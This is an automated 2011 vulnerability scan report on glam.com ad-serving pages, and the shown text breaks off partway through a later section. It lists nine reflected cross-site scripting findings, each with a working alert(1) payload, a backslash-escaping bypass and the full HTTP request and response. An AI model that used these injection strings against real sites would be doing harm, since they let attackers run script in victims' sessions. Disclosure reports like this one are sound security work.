XSS, glam.com, Cross Site Scripting, CWE-79, CAPEC-86

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Report generated by xss.cx at Wed Mar 16 08:34:30 CDT 2011.



XSS.CX Research investigates and reports on security vulnerabilities embedded in Web Applications and Products used in wide-scale deployment.

Loading

1. Cross-site scripting (reflected)

1.1. http://www2.glam.com/app/site/affiliate/viewChannelModule.act [adSize parameter]

1.2. http://www2a.glam.com/mobile/detect.act [affiliateId parameter]

1.3. http://www35.glam.com/gad/glamadapt_jsrv.act [;flg parameter]

1.4. http://www35.glam.com/gad/glamadapt_jsrv.act [ga_adsrv parameter]

1.5. http://www35.glam.com/gad/glamadapt_jsrv.act [ga_adsrv parameter]

1.6. http://www35.glam.com/gad/glamadapt_jsrv.act [name of an arbitrarily supplied request parameter]

1.7. http://www2.glam.com/app/site/affiliate/viewChannelModule.act [ctags cookie]

1.8. http://www2.glam.com/app/site/affiliate/viewChannelModule.act [glam_sid cookie]

1.9. http://www35.glam.com/gad/glamadapt_jsrv.act [glam_sid cookie]

2. Cross-domain Referer leakage

2.1. http://www2.glam.com/app/site/affiliate/viewChannelModule.act

2.2. http://www2.glam.com/app/site/affiliate/viewChannelModule.act

3. Private IP addresses disclosed

3.1. http://www35.glam.com/gad/glamadapt_jsrv.act

3.2. http://www35.glam.com/gad/glamadapt_jsrv.act

3.3. http://www35.glam.com/gad/glamadapt_jsrv.act

3.4. http://www35.glam.com/gad/glamadapt_jsrv.act



1. Cross-site scripting (reflected)  next
There are 9 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://www2.glam.com/app/site/affiliate/viewChannelModule.act [adSize parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www2.glam.com
Path:   /app/site/affiliate/viewChannelModule.act

Issue detail

The value of the adSize request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 2d81e'%3balert(1)//28a70ff22e1 was submitted in the adSize parameter. This input was echoed as 2d81e';alert(1)//28a70ff22e1 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /app/site/affiliate/viewChannelModule.act?mName=viewAdJs&affiliateId=312070423&adSize=888x142d81e'%3balert(1)//28a70ff22e1 HTTP/1.1
Host: www2.glam.com
Proxy-Connection: keep-alive
Referer: http://gossipcenter.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: glam_sid=1126612978600458511; ctags=None; mobify=0

Response

HTTP/1.1 200 OK
Server: Apache/2.2.3 (CentOS)
Content-Type: application/x-javascript
Set-Cookie: bkpix2=1; expires=Wed, 16 Mar 2011 19:05:58 GMT; path=/; domain=.glam.com;
X-Powered-By: PHP/5.1.6
P3P: policyref="http://www.glammedia.com/about_glam/legal/policy.xml", CP="NON DSP COR PSAo PSDo OUR IND UNI COM NAV STA"
Vary: Accept-Encoding
Cache-Control: max-age=450
Date: Wed, 16 Mar 2011 13:32:38 GMT
Connection: close
Content-Length: 58255


// <!-- [gnetGeneratedTime]=[Wed Mar 16 2011 6:19:55 PDT] -->
// <!-- [gnetCachedTime]=[Wed Mar 16 2011 6:32:38 PDT] -->


window.glam_session = new Object();
window.glam_session.country
...[SNIP]...
kai.com/site/2312" height="0" width="0" border="0">');


function GlamProcessScriptParams()
{

}

window.glam_affiliate_id = '312070423';
window.glam_zone = '';
window.glam_ad_size = '888x142d81e';alert(1)//28a70ff22e1';
window.glam_status = '';
window.glam_status = (window.glam_status==''?null:window.glam_status);

/*
*/


function GlamShowCustomDefaultAd(zone, adSize) {}
window.glam_affiliate_info = new Array();
...[SNIP]...

1.2. http://www2a.glam.com/mobile/detect.act [affiliateId parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www2a.glam.com
Path:   /mobile/detect.act

Issue detail

The value of the affiliateId request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 83de6"%3balert(1)//00701388ff0 was submitted in the affiliateId parameter. This input was echoed as 83de6";alert(1)//00701388ff0 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /mobile/detect.act?affiliateId=3819852283de6"%3balert(1)//00701388ff0 HTTP/1.1
Host: www2a.glam.com
Proxy-Connection: keep-alive
Referer: http://gossipcenter.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: glam_sid=1126612978600458511; ctags=None

Response

HTTP/1.1 200 OK
Server: Apache
Content-Type: application/x-javascript
ETag: "54d277bf03d9c981643beb6d966c7927:1299892064"
X-Glam-Server: GlamAdapt
Vary: Accept-Encoding
Cache-Control: max-age=600
Date: Wed, 16 Mar 2011 13:32:27 GMT
Connection: close
Content-Length: 2338


window.glam_mobile_aid = "3819852283de6";alert(1)//00701388ff0";


window.glam_mobile_aid = window.glam_mobile_aid.trim();

var publisherIds = [];

publisherIds[0] = 0;
publisherIds[1] = 1;
publisherIds[2] = 318973508;
publisherIds[3]
...[SNIP]...

1.3. http://www35.glam.com/gad/glamadapt_jsrv.act [;flg parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www35.glam.com
Path:   /gad/glamadapt_jsrv.act

Issue detail

The value of the ;flg request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a6954'%3balert(1)//42548598fc1 was submitted in the ;flg parameter. This input was echoed as a6954';alert(1)//42548598fc1 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /gad/glamadapt_jsrv.act?;flg=65;;zone=/;nt=g;cc=us;aft=p;ec=ron;p=0;p=1;!c=dcs;!c=nptr;!c=p;al=attp;al=fri;ec=tc;ia=s;pec=c;psh=y;rmt=exp;rmt=ov;rsk=y;rtbp=1;to=048522b;vads=test;vec=e;vpec=e;atf=1;uatf=s;pfl=3;dt=b;!c=hagl;!c=hagn;pl=h;afid=312070423;dsid=602286;;tt=j;u=b000102qmcx1o7pm06r,f0f12sa,g10001t;sz=970x66;tile=1;ord=8643178031779826;;afid=312070423;dsid=602286;url=00001b;seq=1;ux=f-f12sa,tid-1,pid-02qmcx1o7pm06r,aid-0,g-65,1,;_glt=300:3:8:32:24:587:2011:3:16;a_tz=-300;_g_cv=2;a6954'%3balert(1)//42548598fc1 HTTP/1.1
Host: www35.glam.com
Proxy-Connection: keep-alive
Referer: http://gossipcenter.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: glam_sid=1126612978600458511; ctags=None; mobify=0; bkpix2=1; qcsegs=D,T,1644,5150,3726,2951,2705,2698,2695,2693,2690,1902

Response

HTTP/1.1 200 OK
Server: Apache
Content-Type: application/x-javascript
ETag: "d9a61c18c39e371e68f8ec954f2210fb:1300254528"
X-Glam-Bdata: none
X-Glam-AdId: 5000000140
X-Glam-Euid: 73ca054f4d3a5f3d2813f6fe66d9e86c
X-Powered-By: GlamAdapt/ASE/1.5
Vary: Accept-Encoding
Expires: Wed, 16 Mar 2011 13:32:35 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Wed, 16 Mar 2011 13:32:35 GMT
Connection: close
Content-Length: 2376



...[SNIP]...
,f0f12sa,g10001t;sz=970x66;tile=1;ord=8643178031779826;;afid=312070423;dsid=602286;url=00001b;seq=1;ux=f-f12sa,tid-1,pid-02qmcx1o7pm06r,aid-0,g-65,1,;_glt=300:3:8:32:24:587:2011:3:16;a_tz=-300;_g_cv=2;a6954';alert(1)//42548598fc1;';
var vars = glam_affiliate_vars.split(";");
for (var i=0;i<vars.length;i++) {
var pair = vars[i].split("=");
if ( pair[1] ) { glam_info[pair[0]] = pair[1]; }
}
return ( glam_info[pName
...[SNIP]...

1.4. http://www35.glam.com/gad/glamadapt_jsrv.act [ga_adsrv parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www35.glam.com
Path:   /gad/glamadapt_jsrv.act

Issue detail

The value of the ga_adsrv request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 96bee'%3balert(1)//35f323b5cfa was submitted in the ga_adsrv parameter. This input was echoed as 96bee';alert(1)//35f323b5cfa in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /gad/glamadapt_jsrv.act?ga_adsrv=auto;affiliateId=312070423;;pt=sk;;nt=g;cc=us;aft=p;ec=ron;p=0;p=1;!c=dcs;!c=nptr;!c=p;al=attp;al=fri;ec=tc;ia=s;pec=c;psh=y;rmt=exp;rmt=ov;rsk=y;rtbp=1;to=048522b;vads=test;vec=e;vpec=e;atf=1;uatf=s;pfl=3;dt=b;!c=hagl;!c=hagn;;pl=h;;afid=312070423;dsid=602286;;sz=888x11;tile=999;tt=j;;ord=864317803177982696bee'%3balert(1)//35f323b5cfa HTTP/1.1
Host: www35.glam.com
Proxy-Connection: keep-alive
Referer: http://gossipcenter.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: glam_sid=1126612978600458511; ctags=None; mobify=0; bkpix2=1

Response

HTTP/1.1 200 OK
Server: Apache
Content-Type: application/x-javascript
ETag: "d9a61c18c39e371e68f8ec954f2210fb:1300254528"
X-Glam-Bdata: XGlamBData,nbt,ec
X-Glam-AdId: 5000003866
X-Glam-Euid: 7d8355b71b9d033a8e4701c89165d44e
X-Powered-By: GlamAdapt/ASE/1.5
Vary: Accept-Encoding
Expires: Wed, 16 Mar 2011 13:32:35 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Wed, 16 Mar 2011 13:32:35 GMT
Connection: close
Content-Length: 2690



...[SNIP]...
c;ia=s;pec=c;psh=y;rmt=exp;rmt=ov;rsk=y;rtbp=1;to=048522b;vads=test;vec=e;vpec=e;atf=1;uatf=s;pfl=3;dt=b;!c=hagl;!c=hagn;;pl=h;;afid=312070423;dsid=602286;;sz=888x11;tile=999;tt=j;;ord=864317803177982696bee';alert(1)//35f323b5cfa;_g_cv=2;';
var vars = glam_affiliate_vars.split(";");
for (var i=0;i<vars.length;i++) {
var pair = vars[i].split("=");
if ( pair[1] ) { glam_info[pair[0]] = pair[1]; }
}
return ( glam_in
...[SNIP]...

1.5. http://www35.glam.com/gad/glamadapt_jsrv.act [ga_adsrv parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www35.glam.com
Path:   /gad/glamadapt_jsrv.act

Issue detail

The value of the ga_adsrv request parameter is copied into a JavaScript inline comment. The payload 8cf16*/alert(1)//e4a2c95d196 was submitted in the ga_adsrv parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /gad/glamadapt_jsrv.act?ga_adsrv=auto;affiliateId=312070423;;pt=sk;;nt=g;cc=us;aft=p;ec=ron;p=0;p=1;!c=dcs;!c=nptr;!c=p;al=attp;al=fri;ec=tc;ia=s;pec=c;psh=y;rmt=exp;rmt=ov;rsk=y;rtbp=1;to=048522b;vads=test;vec=e;vpec=e;atf=1;uatf=s;pfl=3;dt=b;!c=hagl;!c=hagn;;pl=h;;afid=312070423;dsid=602286;;sz=888x11;tile=999;tt=j;;ord=86431780317798268cf16*/alert(1)//e4a2c95d196 HTTP/1.1
Host: www35.glam.com
Proxy-Connection: keep-alive
Referer: http://gossipcenter.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: glam_sid=1126612978600458511; ctags=None; mobify=0; bkpix2=1

Response

HTTP/1.1 200 OK
Server: Apache
Content-Type: application/x-javascript
ETag: "d9a61c18c39e371e68f8ec954f2210fb:1300254528"
X-Glam-Bdata: XGlamBData,nbt,ec
X-Glam-AdId: 5000003866
X-Glam-Euid: 6056bb745ba154b41542659401c711e8
X-Powered-By: GlamAdapt/ASE/1.5
Vary: Accept-Encoding
Expires: Wed, 16 Mar 2011 13:32:35 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Wed, 16 Mar 2011 13:32:35 GMT
Connection: close
Content-Length: 2686



...[SNIP]...
c;ia=s;pec=c;psh=y;rmt=exp;rmt=ov;rsk=y;rtbp=1;to=048522b;vads=test;vec=e;vpec=e;atf=1;uatf=s;pfl=3;dt=b;!c=hagl;!c=hagn;;pl=h;;afid=312070423;dsid=602286;;sz=888x11;tile=999;tt=j;;ord=86431780317798268cf16*/alert(1)//e4a2c95d196;_g_cv=2) */


/* Generated on : Tue Mar 15 2011 22:46:54 PDT */


/* ga_adb=ade;ga_srv=normal
...[SNIP]...

1.6. http://www35.glam.com/gad/glamadapt_jsrv.act [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www35.glam.com
Path:   /gad/glamadapt_jsrv.act

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f16d2'%3balert(1)//e3f5e7968b7 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as f16d2';alert(1)//e3f5e7968b7 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /gad/glamadapt_jsrv.act?;flg=65;;zone=/;nt=g;cc=us;aft=p;ec=ron;p=0;p=1;!c=dcs;!c=nptr;!c=p;al=attp;al=fri;ec=tc;ia=s;pec=c;psh=y;rmt=exp;rmt=ov;rsk=y;rtbp=1;to=048522b;vads=test;vec=e;vpec=e;atf=1;uatf=s;pfl=3;dt=b;!c=hagl;!c=hagn;pl=h;afid=312070423;dsid=602286;;tt=j;u=b000102qmcx1o7pm06r,f0f12sa,g10001t;sz=970x66;tile=1;ord=8643178031779826;;afid=312070423;dsid=602286;url=00001b;seq=1;ux=f-f12sa,tid-1,pid-02qmcx1o7pm06r,aid-0,g-65,1,;_glt=300:3:8:32:24:587:2011:3:16;a_tz=-300;_g_cv=2;&f16d2'%3balert(1)//e3f5e7968b7=1 HTTP/1.1
Host: www35.glam.com
Proxy-Connection: keep-alive
Referer: http://gossipcenter.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: glam_sid=1126612978600458511; ctags=None; mobify=0; bkpix2=1; qcsegs=D,T,1644,5150,3726,2951,2705,2698,2695,2693,2690,1902

Response

HTTP/1.1 200 OK
Server: Apache
Content-Type: application/x-javascript
ETag: "d9a61c18c39e371e68f8ec954f2210fb:1300254528"
X-Glam-Bdata: none
X-Glam-AdId: 5000000140
X-Glam-Euid: d47f608f520aa07515d5d7f8f6e081dd
X-Powered-By: GlamAdapt/ASE/1.5
Vary: Accept-Encoding
Expires: Wed, 16 Mar 2011 13:32:36 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Wed, 16 Mar 2011 13:32:36 GMT
Connection: close
Content-Length: 2383



...[SNIP]...
f0f12sa,g10001t;sz=970x66;tile=1;ord=8643178031779826;;afid=312070423;dsid=602286;url=00001b;seq=1;ux=f-f12sa,tid-1,pid-02qmcx1o7pm06r,aid-0,g-65,1,;_glt=300:3:8:32:24:587:2011:3:16;a_tz=-300;_g_cv=2;;f16d2';alert(1)//e3f5e7968b7=1;';
var vars = glam_affiliate_vars.split(";");
for (var i=0;i<vars.length;i++) {
var pair = vars[i].split("=");
if ( pair[1] ) { glam_info[pair[0]] = pair[1]; }
}
return ( glam_info[pNa
...[SNIP]...

1.7. http://www2.glam.com/app/site/affiliate/viewChannelModule.act [ctags cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www2.glam.com
Path:   /app/site/affiliate/viewChannelModule.act

Issue detail

The value of the ctags cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d8d38\'%3balert(1)//d682fbb3814 was submitted in the ctags cookie. This input was echoed as d8d38\\';alert(1)//d682fbb3814 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.

Request

GET /app/site/affiliate/viewChannelModule.act?mName=viewAdJs&affiliateId=312070423&adSize=888x14 HTTP/1.1
Host: www2.glam.com
Proxy-Connection: keep-alive
Referer: http://gossipcenter.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: glam_sid=1126612978600458511; ctags=Noned8d38\'%3balert(1)//d682fbb3814; mobify=0

Response

HTTP/1.1 200 OK
Server: Apache/2.2.3 (CentOS)
Content-Type: application/x-javascript
Set-Cookie: bkpix2=1; expires=Wed, 16 Mar 2011 19:06:01 GMT; path=/; domain=.glam.com;
X-Powered-By: PHP/5.1.6
P3P: policyref="http://www.glammedia.com/about_glam/legal/policy.xml", CP="NON DSP COR PSAo PSDo OUR IND UNI COM NAV STA"
Vary: Accept-Encoding
Cache-Control: max-age=450
Date: Wed, 16 Mar 2011 13:32:42 GMT
Connection: close
Content-Length: 58255


// <!-- [gnetGeneratedTime]=[Wed Mar 16 2011 6:19:55 PDT] -->
// <!-- [gnetCachedTime]=[Wed Mar 16 2011 6:32:32 PDT] -->


window.glam_session = new Object();
window.glam_session.country_code = null;
/*
*/


window.glam_session.edge = true;

window.glam_session.glam_sid='1126612978600458511';

window.glam_session.ctags='Noned8d38\\';alert(1)//d682fbb3814';

window.glam_session.country_code='US';

window.glam_session.dma='511';

window.glam_session.region_code='DC';

window.glam_session.sid_set=1;


window.glam_session.user_agent_type='2';


docu
...[SNIP]...

1.8. http://www2.glam.com/app/site/affiliate/viewChannelModule.act [glam_sid cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www2.glam.com
Path:   /app/site/affiliate/viewChannelModule.act

Issue detail

The value of the glam_sid cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d5333\'%3balert(1)//4d876e1cc3d was submitted in the glam_sid cookie. This input was echoed as d5333\\';alert(1)//4d876e1cc3d in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.

Request

GET /app/site/affiliate/viewChannelModule.act?mName=viewAdJs&affiliateId=312070423&adSize=888x14 HTTP/1.1
Host: www2.glam.com
Proxy-Connection: keep-alive
Referer: http://gossipcenter.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: glam_sid=1126612978600458511d5333\'%3balert(1)//4d876e1cc3d; ctags=None; mobify=0

Response

HTTP/1.1 200 OK
Server: Apache/2.2.3 (CentOS)
Content-Type: application/x-javascript
Set-Cookie: bkpix2=1; expires=Wed, 16 Mar 2011 19:06:00 GMT; path=/; domain=.glam.com;
X-Powered-By: PHP/5.1.6
P3P: policyref="http://www.glammedia.com/about_glam/legal/policy.xml", CP="NON DSP COR PSAo PSDo OUR IND UNI COM NAV STA"
Vary: Accept-Encoding
Cache-Control: max-age=450
Date: Wed, 16 Mar 2011 13:32:40 GMT
Connection: close
Content-Length: 58258


// <!-- [gnetGeneratedTime]=[Wed Mar 16 2011 6:19:55 PDT] -->
// <!-- [gnetCachedTime]=[Wed Mar 16 2011 6:32:32 PDT] -->


window.glam_session = new Object();
window.glam_session.country_code = null;
/*
*/


window.glam_session.edge = true;

window.glam_session.glam_sid='1126612978600458511d5333\\';alert(1)//4d876e1cc3d';

window.glam_session.ctags='None';

window.glam_session.country_code='US';

window.glam_session.dma='511';

window.glam_session.region_code='DC';

window.glam_session.sid_set=1;


window.glam_sessi
...[SNIP]...

1.9. http://www35.glam.com/gad/glamadapt_jsrv.act [glam_sid cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www35.glam.com
Path:   /gad/glamadapt_jsrv.act

Issue detail

The value of the glam_sid cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 18fbd'-alert(1)-'c216e76a85c was submitted in the glam_sid cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /gad/glamadapt_jsrv.act?;flg=65;;zone=/;nt=g;cc=us;aft=p;ec=ron;p=0;p=1;!c=dcs;!c=nptr;!c=p;al=attp;al=fri;ec=tc;ia=s;pec=c;psh=y;rmt=exp;rmt=ov;rsk=y;rtbp=1;to=048522b;vads=test;vec=e;vpec=e;atf=1;uatf=s;pfl=3;dt=b;!c=hagl;!c=hagn;pl=h;afid=312070423;dsid=602286;;tt=j;u=b000102qmcx1o7pm06r,f0f12sa,g10001t;sz=970x66;tile=1;ord=8643178031779826;;afid=312070423;dsid=602286;url=00001b;seq=1;ux=f-f12sa,tid-1,pid-02qmcx1o7pm06r,aid-0,g-65,1,;_glt=300:3:8:32:24:587:2011:3:16;a_tz=-300;_g_cv=2; HTTP/1.1
Host: www35.glam.com
Proxy-Connection: keep-alive
Referer: http://gossipcenter.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: glam_sid=112661297860045851118fbd'-alert(1)-'c216e76a85c; ctags=None; mobify=0; bkpix2=1; qcsegs=D,T,1644,5150,3726,2951,2705,2698,2695,2693,2690,1902

Response

HTTP/1.1 200 OK
Server: Apache
Content-Type: application/x-javascript
ETag: "d9a61c18c39e371e68f8ec954f2210fb:1300254528"
X-Glam-Bdata: none
X-Glam-AdId: 5000000140
X-Glam-Euid: 98fb2aa231bae30eec0178ceb3f644c8
X-Powered-By: GlamAdapt/ASE/1.5
Vary: Accept-Encoding
Expires: Wed, 16 Mar 2011 13:32:36 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Wed, 16 Mar 2011 13:32:36 GMT
Connection: close
Content-Length: 2372



...[SNIP]...
iateInfo ) {
window.GlamGetAffiliateInfo = function(pName) {
var glam_info = new Object();
var glam_affiliate_vars = 'js_mode=show;_ge_=3^2^98fb2aa231bae30eec0178ceb3f644c8;sid=112661297860045851118fbd'-alert(1)-'c216e76a85c;browser=2;co=US;dma=511;;;;flg=65;;zone=/;nt=g;cc=us;aft=p;ec=ron;p=0;p=1;!c=dcs;!c=nptr;!c=p;al=attp;al=fri;ec=tc;ia=s;pec=c;psh=y;rmt=exp;rmt=ov;rsk=y;rtbp=1;to=048522b;vads=test;vec=e;vpec=e;atf=1;
...[SNIP]...

2. Cross-domain Referer leakage  previous  next
There are 2 instances of this issue:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.


2.1. http://www2.glam.com/app/site/affiliate/viewChannelModule.act  previous  next

Summary

Severity:   Information
